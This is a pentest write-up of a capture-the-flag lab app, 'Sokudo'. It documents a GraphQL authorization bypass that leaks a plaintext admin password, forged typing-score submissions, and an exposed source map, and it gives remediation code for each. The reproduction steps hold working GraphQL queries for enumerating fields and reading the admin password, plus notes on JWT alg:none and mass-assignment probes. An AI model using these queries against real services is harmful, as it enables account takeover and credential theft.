Sokudo: GraphQL Authorization Bypass + Plaintext Password Exposure
Part 1 — Pentest Report
Executive Summary
Sokudo is a React SPA served by an Express backend, exposing both a REST API and a GraphQL endpoint at /api/graphql. The React bundle’s source map is published at /static/js/main.8990091e.js.map, which allowed the original frontend source to be read in-browser through DevTools and the complete client-visible API surface to be inventoried without any brute-force enumeration.
Testing confirmed one critical finding, one medium finding, and one low-severity information-disclosure issue:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | GraphQL authorization bypass on users / user(id:) + plaintext password field exposed on User type |
Critical | 9.1 | CWE-285, CWE-200 | POST /api/graphql |
| F2 | Client-controlled metrics on session submission | Medium | 4.3 | CWE-807 | POST /api/session/submit |
| F3 | Production source map served unauthenticated | Low (informational) | 3.1 | CWE-540 | GET /static/js/main.8990091e.js.map |
F1 is flag-bearing: the admin user’s password field is returned directly by the GraphQL user(id:1) resolver to any authenticated caller, including a self-registered low-privilege account. The identical data behind the REST /api/admin/* endpoints is correctly gated — the authorization boundary is enforced on one surface and not the other.
Objective
Identify exploitable vulnerabilities in BugForge’s “Sokudo” application — a Japanese cyber-themed speed typing SPA — and capture the lab flag as proof of impact.
Scope / Initial Access
# Target Application
URL: https://lab-1776376157382-49wmge.labs-app.bugforge.io
# Auth details
POST /api/register with {username, email, password, full_name}
Returns JWT (HS256) — payload: {id, username, iat}, no exp, role NOT in token
Registered as: haxor (id: 4, role: user)
Observed JWT payload contains id, username, and iat only — no role claim. The response from GET /api/verify-token does carry a role field, so the role is returned to the client by some server-side mechanism not visible in the token itself.
Reconnaissance — Reading the Source Code
The source map main.8990091e.js.map is served without authentication alongside the bundle, so the unminified React source is readable directly in DevTools’ Sources tab. Reading it produced the REST API table below (built from the HTTP calls the frontend source code makes — no fuzzing required for the client-visible surface) and surfaced three facts that shaped the test plan:
-
/api/admin/usersand/api/admin/sessionsexist. Discovered inAdminDashboard.js. These admin routes would be invisible to an external tester without the source map — a direct demonstration of why public source maps are an information-disclosure issue (F3) and not just a hygiene concern. -
Role does not come from the JWT. The client reads
user.rolefrom the/api/verify-tokenresponse, not the token payload. JWT tampering alone is not a privilege-escalation path. -
A
/api/graphqlendpoint exists. Any GraphQL endpoint is of interest and should be tested.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (Node.js) — X-Powered-By: Express |
| Frontend | React + Material-UI — shipped with public source map (main.8990091e.js.map) |
| GraphQL server | Unidentified (error-message format resembles Apollo Server; not confirmed) |
| Auth | JWT HS256 — payload {id, username, iat}, no expiry, no role claim |
| Database | SQL, snake_case columns (mixed with camelCase JSON) |
| Role derivation | role is not present in the JWT; it is present in the /api/verify-token response body |
API Surface (REST)
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | No | Returns {token, user} — role not echoed in response |
| /api/login | POST | No | — |
| /api/verify-token | GET | Yes | Returns {user:{..., role}} — role resolved server-side |
| /api/session/start | POST | Yes | Returns {text, duration} |
| /api/session/submit | POST | Yes | Trusts client-sent textGenerated, userInput, timeElapsed (F2) |
| /api/session/history | GET | Yes | — |
| /api/stats | GET | Yes | — |
| /api/stats/leaderboard | GET | Yes | — |
| /api/admin/users | GET | Yes + role=admin | Server-side role check present — returns 403 for regular users |
| /api/admin/sessions | GET | Yes + role=admin | Server-side role check present |
| /api/graphql | POST | Yes | Parallel surface — role check NOT enforced on users/user (F1) |
Known Users (from leaderboard + GraphQL enumeration)
| Username | ID | Role |
|---|---|---|
| admin | 1 | admin |
| speedtyper | 2 | user |
| learner | 3 | user |
| haxor | 4 | user (us) |
Attack Chain Visualization (F1)
┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ Register │──▶│ REST /api/admin │──▶│ GraphQL blind │──▶│ Query admin's │
│ (haxor, │ │ → 403 (enforced)│ │ root-field fuzz │ │ password field │
│ id=4) │ │ Pivot to │ │ → users / user │ │ → plaintext = │
│ Get JWT │ │ GraphQL surface │ │ resolvers leak │ │ flag (1 request)│
│ │ │ │ │ full user list │ │ │
└──────────────┘ └──────────────────┘ └──────────────────┘ └──────────────────┘
Findings
F1 — GraphQL Authorization Bypass + Plaintext Password Exposure
Severity: Critical
CVSS v3.1: 9.1 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-285 (Improper Authorization), CWE-200 (Exposure of Sensitive Information)
Endpoint: POST /api/graphql
Authentication required: Yes (any self-registered user)
Description
The GraphQL endpoint at /api/graphql accepts users and user(id:) queries from any authenticated caller and returns the full user row, including a password field populated with a plaintext value. The REST endpoints returning equivalent data (/api/admin/users, /api/admin/sessions) correctly enforce role === 'admin' and respond with 403 Forbidden to the same JWT. The authorization outcome differs between the two surfaces for identical data.
Two defects compound into the critical impact:
- Authorization bypass. The GraphQL
usersanduser(id:)resolvers do not apply the role check that the REST equivalents enforce. - Password field on a public
Usertype. TheUserGraphQL type exposes a selectablepasswordfield that returns a plaintext password string to the caller.
Impact
Any authenticated user, including a fresh self-registered account, can retrieve every user’s plaintext password via a single GraphQL query. Admin-account takeover is immediate.
Reproduction
Step 1 — Confirm REST admin path is gated (rules out the obvious path before pivoting)
GET /api/admin/users HTTP/1.1
Authorization: Bearer <haxor jwt>
Response: 403 Forbidden — {"error":"Admin access required"}. REST admin endpoints enforce role server-side; the client-side gate in App.js:205 is not the only barrier.
Step 2 — GraphQL introspection is blocked
POST /api/graphql
Authorization: Bearer <haxor jwt>
Content-Type: application/json
{"query":"{ __schema { queryType { name } } }"}
Response:
{"errors":[{"message":"GraphQL introspection has been disabled, but the requested query contained the field \"__schema\"."}]}
Introspection is disabled. The error output echoes the offending field name verbatim — worth noting because if that verbosity extends to concrete types, it can be used for blind schema enumeration without introspection.
Step 3 — Root field-suggestion probe
{"query":"{ xyzzyNotAField }"}
Response:
{"errors":[{"message":"Cannot query field \"xyzzyNotAField\" on type \"Query\"."}]}
No “did you mean” hints for unknown root fields. Whether the server suppresses hints only at the root or everywhere is not yet known — a typed-field probe (Step 5) will disambiguate.
Step 4 — Blind root-field enumeration
With introspection off and root suggestions suppressed, enumerate root fields with a curated wordlist of common GraphQL names. Ten queries in a single batch — me, viewer, currentUser, users, user(id:1), user(id:"1"), session(id:1), sessions, admin, flag.
Two hits:
POST /api/graphql
Authorization: Bearer <haxor jwt>
{"query":"{ users { id username role } }"}
{"data":{"users":[
{"id":"1","username":"admin","role":"admin"},
{"id":"2","username":"speedtyper","role":"user"},
{"id":"3","username":"learner","role":"user"},
{"id":"4","username":"haxor","role":"user"},
{"id":"5","username":"haxor2","role":"user"}
]}}
user(id:1) also returns the admin user directly. The GraphQL authorization boundary is confirmed broken — any authenticated user can list every user and fetch any user by id. Admin is id=1, username=admin.
Step 5 — Enumerate User fields via typed-field error suggestions
Seeded a query against user(id:1) with a mix of educated guesses (password, api_key, flag, secret) and obviously-invalid names. The test relies on a simple asymmetry: valid fields return silently, invalid ones are named explicitly in the error list.
{
user(id:1) {
id
username
role
email
full_name
password
password_hash
passwordHash
token
api_key
apiKey
secret
flag
notes
created_at
createdAt
bio
description
}
}
Response: errors only, data: null — the server discards all data when any field in the query is invalid. The error list named each invalid field and, for several, included a “did you mean” hint pointing to a real field name close to the guess:
{"errors":[
{"message":"Cannot query field \"password_hash\" on type \"User\". Did you mean \"password\"?"},
{"message":"Cannot query field \"token\" on type \"User\". Did you mean \"role\"?"},
{"message":"Cannot query field \"notes\" on type \"User\". Did you mean \"role\"?"},
{"message":"Cannot query field \"bio\" on type \"User\". Did you mean \"id\"?"},
...
]}
Six fields in the query produced no error and are therefore valid:
Valid User fields (observed): id, username, role, email, full_name, password.
The presence of a selectable password field on a public User type is a schema-design defect on its own — no API caller should ever need a readable password value.
Step 6 — Exploit: read admin’s password
POST /api/graphql HTTP/1.1
Host: lab-1776376157382-49wmge.labs-app.bugforge.io
Authorization: Bearer <haxor jwt>
Content-Type: application/json
{"query":"{ user(id:1) { id username role email full_name password } }"}
Response:
{"data":{"user":{
"id":"1",
"username":"admin",
"role":"admin",
"email":"[email protected]",
"full_name":"System Administrator",
"password":"bug{AaNdUcRmfv0SKy4U1vjtt9MmCbjnfUYZ}"
}}}
The password field is returned as a plaintext string. The value bug{AaNdUcRmfv0SKy4U1vjtt9MmCbjnfUYZ} is the lab flag.
Remediation
Fix 1 — Apply role checks to the GraphQL resolvers for users and user(id:)
// BEFORE (Vulnerable) — GraphQL resolver
const resolvers = {
Query: {
users: async (_, __, { db }) => {
return db.all('SELECT * FROM users');
},
user: async (_, { id }, { db }) => {
return db.get('SELECT * FROM users WHERE id = ?', [id]);
},
},
};
// AFTER (Secure) — shared auth helper + per-resolver checks
const requireAdmin = (ctx) => {
if (!ctx.user || ctx.user.role !== 'admin') {
throw new GraphQLError('Forbidden', {
extensions: { code: 'FORBIDDEN', http: { status: 403 } },
});
}
};
const resolvers = {
Query: {
users: async (_, __, ctx) => {
requireAdmin(ctx);
return ctx.db.all('SELECT id, username, role, email, full_name FROM users');
},
user: async (_, { id }, ctx) => {
// Admins may query any user; regular users may only query themselves.
if (ctx.user.role !== 'admin' && ctx.user.id !== Number(id)) {
throw new GraphQLError('Forbidden', {
extensions: { code: 'FORBIDDEN', http: { status: 403 } },
});
}
return ctx.db.get(
'SELECT id, username, role, email, full_name FROM users WHERE id = ?',
[id]
);
},
},
};
Fix 2 — Remove the password field from the User GraphQL type and select only safe columns
// BEFORE (Vulnerable)
// schema.graphql
type User {
id: ID!
username: String!
role: String!
email: String
full_name: String
password: String // ← must not exist
}
// resolver returns DB row, which includes the password column.
user: (_, { id }, { db }) => db.get('SELECT * FROM users WHERE id = ?', [id])
// AFTER (Secure)
type User {
id: ID!
username: String!
role: String!
email: String
full_name: String
}
// Resolver selects only safe columns explicitly — never `SELECT *`.
user: (_, { id }, { db }) =>
db.get(
'SELECT id, username, role, email, full_name FROM users WHERE id = ?',
[id]
)
Fix 3 — Store passwords as argon2 hashes, never plaintext
// BEFORE (Vulnerable) — registration handler
await db.run(
'INSERT INTO users (username, email, password, full_name) VALUES (?,?,?,?)',
[username, email, password, full_name]
);
// AFTER (Secure)
const passwordHash = await argon2.hash(password);
await db.run(
'INSERT INTO users (username, email, password_hash, full_name) VALUES (?,?,?,?)',
[username, email, passwordHash, full_name]
);
// Compare with argon2.verify(row.password_hash, submittedPassword) at login.
// No API type — GraphQL or REST — should ever expose `password_hash`.
Additional recommendations:
- Share the authorization layer across REST and GraphQL. Wrap both in the same
requireAuth/requireAdminhelpers — one source of truth for who can see what. Duplicate rules drift. - Add regression tests that cover both surfaces. For every admin-only REST endpoint, add a matching test on the GraphQL equivalent that asserts a non-admin receives a
FORBIDDENerror. - Consider
me { ... }+ scoped admin-onlyuser(id:)instead of a globaluser(id:)query. Ameresolver for self-data and a scoped admin-onlyuser(id:)makes the authorization intent obvious at the schema level. - Backfill existing passwords: on next login, hash the submitted password and replace the plaintext column; fail closed after a rollover window.
- Pre-deploy schema review: every field added to a shared type like
Usershould require explicit review — “does this need to be selectable through the API?”
F2 — Client-Controlled Metrics on Session Submission
Severity: Medium
CVSS v3.1: 4.3 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWE: CWE-807 (Reliance on Untrusted Inputs in a Security Decision)
Endpoint: POST /api/session/submit
Authentication required: Yes
Description
The submit request body includes textGenerated, userInput, and timeElapsed, and the response’s wpm and accuracy values are consistent with those client-supplied inputs regardless of what /api/session/start originally issued. A client can submit arbitrary values and have them stored and returned as legitimate results.
Impact
Leaderboard and personal-best integrity are broken. Any user can post arbitrary WPM and accuracy values; competitive or ranking-based use of the application cannot be relied on.
Reproduction
POST /api/session/submit HTTP/1.1
Authorization: Bearer <haxor jwt>
Content-Type: application/json
{"duration":15,"textGenerated":"aa","userInput":"aa","timeElapsed":0.001}
Response:
{"id":3,"wpm":24000,"accuracy":100,"charsTyped":2,"correctChars":2,"message":"Session saved successfully"}
The server accepted and stored wpm=24000, accuracy=100 without validation.
Remediation
// BEFORE (Vulnerable)
router.post('/session/submit', auth, async (req, res) => {
const { duration, textGenerated, userInput, timeElapsed } = req.body;
const wpm = (userInput.length / 5) / (timeElapsed / 60);
const accuracy = computeAccuracy(textGenerated, userInput);
// ...
});
// AFTER (Secure) — server-stored session, server-computed timing
router.post('/session/start', auth, async (req, res) => {
const text = generateText(req.body.duration);
const session = await db.run(
`INSERT INTO typing_sessions (user_id, text, duration, started_at)
VALUES (?,?,?,?)`,
[req.user.id, text, req.body.duration, Date.now()]
);
return res.json({ session_id: session.lastID, text, duration: req.body.duration });
});
router.post('/session/submit', auth, async (req, res) => {
const { session_id, userInput } = req.body;
const s = await db.get(
'SELECT * FROM typing_sessions WHERE id = ? AND user_id = ? AND completed_at IS NULL',
[session_id, req.user.id]
);
if (!s) return res.status(404).json({ error: 'Session not found' });
const elapsedSec = (Date.now() - s.started_at) / 1000;
// Only the server's text and its own clock are used.
const wpm = (userInput.length / 5) / (elapsedSec / 60);
const accuracy = computeAccuracy(s.text, userInput);
if (wpm > 300) return res.status(400).json({ error: 'Implausible WPM' });
await db.run(
'UPDATE typing_sessions SET user_input=?, wpm=?, accuracy=?, completed_at=? WHERE id=?',
[userInput, wpm, accuracy, Date.now(), session_id]
);
return res.json({ wpm, accuracy });
});
Additional recommendations:
- Never trust client-supplied timing. Any duration, elapsed time, or “when did this happen” value should come from the server’s clock.
- Bind submission to an issued session. Return a
session_id(or signed token) from/session/startand require it on/session/submit. Reject reuse. - Add sanity bounds on derived metrics. A 300 WPM ceiling is generous (world record ~216 WPM sustained). Anything above should be rejected outright, not stored and displayed on a leaderboard.
F3 — Production Source Map Served Unauthenticated
Severity: Low (informational)
CVSS v3.1: 3.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE: CWE-540 (Inclusion of Sensitive Information in Source Code)
Endpoint: GET /static/js/main.8990091e.js.map
Authentication required: No
Description
The production React bundle main.8990091e.js ships with a matching main.8990091e.js.map at the same static path, served without authentication. The source map contains sourcesContent for every module in the build, which allows any visitor with DevTools open to browse the full unminified React source — original file structure, function and variable names, comments, hard-coded constants, and internal API shapes.
Impact
In this engagement the source map accelerated reconnaissance significantly: the complete client visible API surface and the client-side role gates were inventoried directly from DevTools without any brute-force enumeration. The admin endpoints surfaced in F1’s reproduction were discovered through source review, not through endpoint guessing. While not directly exploitable on its own, source-map disclosure removes an obstacle that minification is meant to provide and accelerates every subsequent attack on the application.
Reproduction
GET /static/js/main.8990091e.js.map HTTP/1.1
Host: lab-1776376157382-49wmge.labs-app.bugforge.io
Returns the full source map (200 OK) with sourcesContent populated. With DevTools open, the browser auto fetches the file and renders the unminified React source in the Sources tab’s webpack:// tree.
Remediation
# Create React App — in .env.production
GENERATE_SOURCEMAP=false
// Or for webpack directly:
module.exports = {
// ...
devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};
Additional recommendations:
- If source maps are required for production debugging, upload them to an error-reporting service (Sentry, Datadog, etc.) or serve them only behind authentication to known operators — never to the public internet.
- Audit the
build/output on every deploy to confirm no.mapfiles are present in the shipped static assets.
OWASP Top 10 Coverage
- A01:2021 — Broken Access Control: The primary finding. The GraphQL
usersanduser(id:)queries return admin-equivalent data to any authenticated caller, while the REST endpoints returning the same data enforce a role check and respond with 403 — the authorization outcome differs between surfaces for the same data. - A02:2021 — Cryptographic Failures: The
UserGraphQL type returns a plaintext password value to the caller. Whether the storage layer is plaintext is not observable from the client; either way, the API-level behavior hands a usable credential to any path that reaches the resolver. - A04:2021 — Insecure Design: A
passwordfield on a public User type is a schema-design defect regardless of whether authorization is enforced at call time. Two API surfaces (REST and GraphQL) producing different authorization outcomes for identical data indicates authorization is not centralized. - A05:2021 — Security Misconfiguration: Production source map served unauthenticated. Introspection is disabled at the GraphQL endpoint but unknown-field errors on concrete types still return suggestions — the hardening is not applied uniformly across the endpoint’s error surface.
- A08:2021 — Software and Data Integrity Failures:
/api/session/submitreturnswpmandaccuracyvalues consistent with client-suppliedtextGenerated,userInput, andtimeElapsed, breaking any integrity guarantee around leaderboard and personal-best data.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | HTTP proxy — request capture, replay, and scripted batches |
| Browser DevTools | Review the unminified React source via the public source map |
| jwtforge | JWT forging for the alg:none probe (see Failed Approaches) |
| jq | JSON response inspection for GraphQL error parsing |
References
- CWE-285: Improper Authorization
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- CWE-540: Inclusion of Sensitive Information in Source Code
- CWE-807: Reliance on Untrusted Inputs in a Security Decision
- OWASP API Security Top 10 — API1:2023 Broken Object Level Authorization
- OWASP API Security Top 10 — API5:2023 Broken Function Level Authorization
- OWASP GraphQL Cheat Sheet
- Apollo Server — Disabling Introspection in Production
Part 2 — Notes / Knowledge
Key Learnings
-
Parallel API surfaces must be tested independently for authorization. When the same application exposes both REST and GraphQL, “the REST endpoint is gated” is not evidence that the GraphQL equivalent is gated. This engagement showed a direct case: the REST
/api/admin/usersreturns403for a low-privilege JWT while the GraphQLusersquery returns the full user list for the same JWT. Any authorization test plan on an app with more than one API surface should repeat the same authorization-boundary checks on every surface. -
Disabled introspection is not a hidden schema. Server-side error messages on typed fields can name the offending field and suggest a real field close to the guess, which is sufficient to map a type one wide-field query at a time. Useful to test even when
__schemaqueries are rejected: send a single query against a suspected concrete type with a mix of plausible and implausible field names, and read the errors. -
Omitting
rolefrom a JWT only helps if every privileged surface re-checks it. The JWT in this app carries noroleclaim, which prevents direct token tampering from elevating privilege. The protection is only effective on the surfaces that perform the role check — the GraphQL resolvers forusers/user(id:)do not, so the design benefit does not extend to that surface.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
GET /api/admin/users with regular-user JWT |
403 Forbidden | REST admin endpoints enforce role server-side |
Mass assignment of role:admin on POST /api/register |
Silently dropped | Extra body fields had no observable effect on the created account |
JWT alg:none for {"id":1} |
403 Invalid token | Unsigned tokens are not accepted |
GraphQL __schema introspection |
errors — “introspection has been disabled” |
Introspection disabled at this endpoint |
Field-suggestion probe at Query root ({ xyzzyNotAField }) |
Bare error, no suggestion | No “did you mean” hints for unknown root fields (type-level suggestions were available — leveraged in F1 Step 5) |
Unlinked REST endpoint fuzz (15 paths: /api/flag, /api/debug, etc.) |
All 200 text/html |
Express SPA catchall returns index.html for any unmapped path — status code is not a signal |
| Session-submit WPM threshold → achievement flag | wpm=24000 accepted, no new field, no flag |
No threshold-triggered logic — but the client-trust bug itself is a real finding (F2) |
Tags: #graphql #broken-access-control #authorization-bypass #plaintext-password #api-security #bugforge #webapp
Document Version: 2.0
Last Updated: 2026-04-17